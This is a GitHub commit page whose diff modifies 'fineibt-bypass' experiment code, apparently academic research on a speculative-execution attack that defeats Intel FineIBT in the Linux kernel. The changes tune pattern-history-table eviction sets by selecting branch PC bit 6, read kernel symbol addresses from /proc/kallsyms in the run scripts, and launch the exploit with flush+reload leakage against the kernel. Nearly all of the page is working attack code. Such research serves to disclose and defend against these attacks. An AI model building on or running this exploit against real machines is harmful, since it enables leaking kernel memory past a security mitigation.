Skip to content

Commit

Permalink
[fineibt-bypass] Select PC[6] eviction branch dynamically
Browse files Browse the repository at this point in the history
  • Loading branch information
SanWieb committed Apr 13, 2024
1 parent 367032f commit c29e4dd
Show file tree
Hide file tree
Showing 6 changed files with 23 additions and 15 deletions.
2 changes: 1 addition & 1 deletion experiments/fineibt-bypass/src/colliding_bhb.c
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ int find_colliding_history(struct config * cfg, uint8_t do_pht_eviction) {
if(iter % 20000 == 0) {
for (int i = 0; i < NUMBER_OF_EVICT_SETS; i++)
{
randomize_branch_locations(cfg->all_pht_cfg[i], 0);
randomize_branch_locations(cfg->all_pht_cfg[i], cfg->pht_bit_set);
}
}

Expand Down
2 changes: 2 additions & 0 deletions experiments/fineibt-bypass/src/evict_pht.c
Original file line number Diff line number Diff line change
Expand Up @@ -124,6 +124,8 @@ void randomize_branch_locations(pht_config * pht_cfg, uint8_t bit_set) {

// addr_off = ((addr_off + JMP_GADGET_OFFSET) & 0xfffffffffffff000 | 0x00b) - JMP_GADGET_OFFSET;

// Bit 6 of the PC have to be equal for the eviction branches and the
// branch to be evicted
if (bit_set) {
addr_off = ((addr_off + JMP_GADGET_OFFSET) | 0x20) - JMP_GADGET_OFFSET;
} else {
Expand Down
1 change: 1 addition & 0 deletions experiments/fineibt-bypass/src/flush_and_reload.h
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,7 @@ struct config {

pht_config * pht_cfg;
pht_config * all_pht_cfg[NUMBER_OF_EVICT_SETS];
int pht_bit_set;
};

void set_load_chain_simple_touch(struct config * cfg, int number_of_loads);
Expand Down
23 changes: 11 additions & 12 deletions experiments/fineibt-bypass/src/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -218,25 +218,25 @@ int main(int argc, char **argv)
break;
default:
printf("Usage:\n"
"%s -t TARGET_BASE [options]\n"
"%s -t TARGET_BASE -u UNIX_POLL [options]\n"
" -t TARGET_BASE target base address (uuid_string)\n"
" -u UNIX_POLL unix_poll address (required for pht eviction set)\n"
" -h HISTORY a previous found colliding history\n"
" -p PHYS_MAP the start of the physical map\n"
" -f FAST Disable FineIBT check during collision finding\n"
" -u unix_poll address (required with -f)\n"
, argv[0]);
exit(1);
}
}

if (target_base == 0) {
if (target_base == 0 || unix_poll_addr == 0) {
printf("Usage:\n"
"%s -t TARGET_BASE [options]\n"
"%s -t TARGET_BASE -u UNIX_POLL [options]\n"
" -t TARGET_BASE target base address (uuid_string)\n"
" -u UNIX_POLL unix_poll address (required for pht eviction set)\n"
" -h HISTORY a previous found colliding history\n"
" -p PHYS_MAP the start of the physical map\n"
" -f FAST Disable FineIBT check during collision finding\n"
" -u unix_poll address (required with -f)\n"
, argv[0]);
exit(1);
}
Expand All @@ -256,11 +256,6 @@ int main(int argc, char **argv)

if (fast_colliding_phase) {

if (unix_poll_addr == 0) {
printf("Please provide the address of unix_poll (-u)\n");
exit(EXIT_FAILURE);
}

if (access(PATH_PATCH_INSERT_CHECK, F_OK) == 0) {
cfg.fd_insert_check = open(PATH_PATCH_INSERT_CHECK, O_WRONLY);
assert(cfg.fd_insert_check);
Expand Down Expand Up @@ -340,10 +335,14 @@ int main(int argc, char **argv)
cfg.tfp_leak_target = (uint8_t *) (target_base + TFP_LEAK_TARGET_OFFSET);
printf(" - TFP_LEAK_TARGET: %p\n", cfg.tfp_leak_target);

// Get 6h bit of the the target branch to be evicted (fine-ibt sid check)
cfg.pht_bit_set = ((unix_poll_addr - 4) & 0x20) >> 5;
printf(" - FINE_IBT SID Branch PC[6]: %d\n", cfg.pht_bit_set);


for (size_t i = 0; i < NUMBER_OF_EVICT_SETS; i++)
{
cfg.all_pht_cfg[i] = init_pht_eviction(0);
cfg.all_pht_cfg[i] = init_pht_eviction(cfg.pht_bit_set);
}
printf(" - Allocated %d PHT eviction sets\n", NUMBER_OF_EVICT_SETS);

Expand Down Expand Up @@ -463,7 +462,7 @@ int main(int argc, char **argv)

for (int i = 0; i < NUMBER_OF_EVICT_SETS; i++)
{
randomize_branch_locations(cfg.all_pht_cfg[i], 0);
randomize_branch_locations(cfg.all_pht_cfg[i], cfg.pht_bit_set);
}

memset(hit_rates, 0, sizeof(hit_rates));
Expand Down
8 changes: 6 additions & 2 deletions experiments/fineibt-bypass/src/run.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,11 +13,15 @@ if [ $# -eq 1 ]
PHYS_MAP=$1
fi

echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

make OS=LINUX_v6_6_RC4_UBUNTU ARCH=INTEL_13_GEN -B

UUID_STRING=`cat /proc/kallsyms | grep -w uuid_string | awk '{print $1}'`
echo "uuid_string: ${UUID_STRING}"

echo "uid_string: ${UUID_STRING}"
UNIX_POLL=`cat /proc/kallsyms | grep -w unix_poll | awk '{print $1}'`
echo "unix_poll: ${UNIX_POLL}"


taskset -c 0 ./main -t $UUID_STRING -p $PHYS_MAP
taskset -c 0 ./main -t $UUID_STRING -u ${UNIX_POLL} -p $PHYS_MAP
2 changes: 2 additions & 0 deletions experiments/fineibt-bypass/src/run_fast.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,8 @@ if [ $# -eq 1 ]
PHYS_MAP=$1
fi

echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

make OS=LINUX_v6_6_RC4_UBUNTU ARCH=INTEL_13_GEN -B

UUID_STRING=`cat /proc/kallsyms | grep -w uuid_string | awk '{print $1}'`
Expand Down

0 comments on commit c29e4dd

Please sign in to comment.